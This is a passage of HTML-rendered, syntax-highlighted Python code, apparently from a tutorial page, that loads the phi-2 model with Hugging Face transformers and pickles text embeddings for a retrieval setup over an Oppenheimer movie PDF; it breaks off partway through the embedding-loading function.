&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;171&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#171&#34;&gt;171&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;172&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#172&#34;&gt;172&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;173&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#173&#34;&gt;173&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;174&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#174&#34;&gt;174&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;175&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#175&#34;&gt;175&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;176&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#176&#34;&gt;176&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;177&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#177&#34;&gt;177&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;178&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#178&#34;&gt;178&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;179&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#179&#34;&gt;179&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;180&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#180&#34;&gt;180&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;181&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#181&#34;&gt;181&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;182&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#182&#34;&gt;182&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;183&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#183&#34;&gt;183&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;184&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#184&#34;&gt;184&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;185&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#185&#34;&gt;185&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;186&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#186&#34;&gt;186&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;187&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#187&#34;&gt;187&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;188&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#188&#34;&gt;188&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;189&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#189&#34;&gt;189&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;warnings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoModelForCausalLM, AutoTokenizer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;numpy&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;np&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;faiss&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;tqdm&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; tqdm
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;PyPDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DEBUG &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;warnings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;filterwarnings(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getLogger(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;setLevel(logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ERROR)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Define the directory where you want to save the model and tokenizer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MODEL_PATH &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./local_model&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MODEL_NAME &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BATCH_SIZE &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Oppenheimer movie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#DATA_FILE = &amp;#34;./oppenheimer-2023.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATA_FILE &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./oppenheimer-2023.pdf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EMBEDDINGS_FILE &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;./embeddings_movie.pkl&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;load_model&lt;/span&gt;(model_path, model_name, debug&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check if the model and tokenizer are already saved locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists(model_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Loading model and tokenizer from local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the model and tokenizer from the local directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Downloading model and tokenizer from Hugging Face&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the model and tokenizer from Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name, torch_dtype&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto&amp;#34;&lt;/span&gt;, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Saving model and tokenizer to local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save the model and tokenizer locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Model device: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CUDA available: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available()&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the default device to CUDA if available, otherwise use CPU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cuda&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cpu&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; model, tokenizer, device
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;save_embeddings&lt;/span&gt;(embeddings, passages, file_name):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_name, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dump((&lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(embeddings), &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(passages)), f)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;IOError&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error writing to file &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PicklingError:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error pickling embeddings and passages.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;load_embeddings&lt;/span&gt;(file):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load(f)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;FileNotFoundError&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;File &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; not found.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;UnpicklingError:
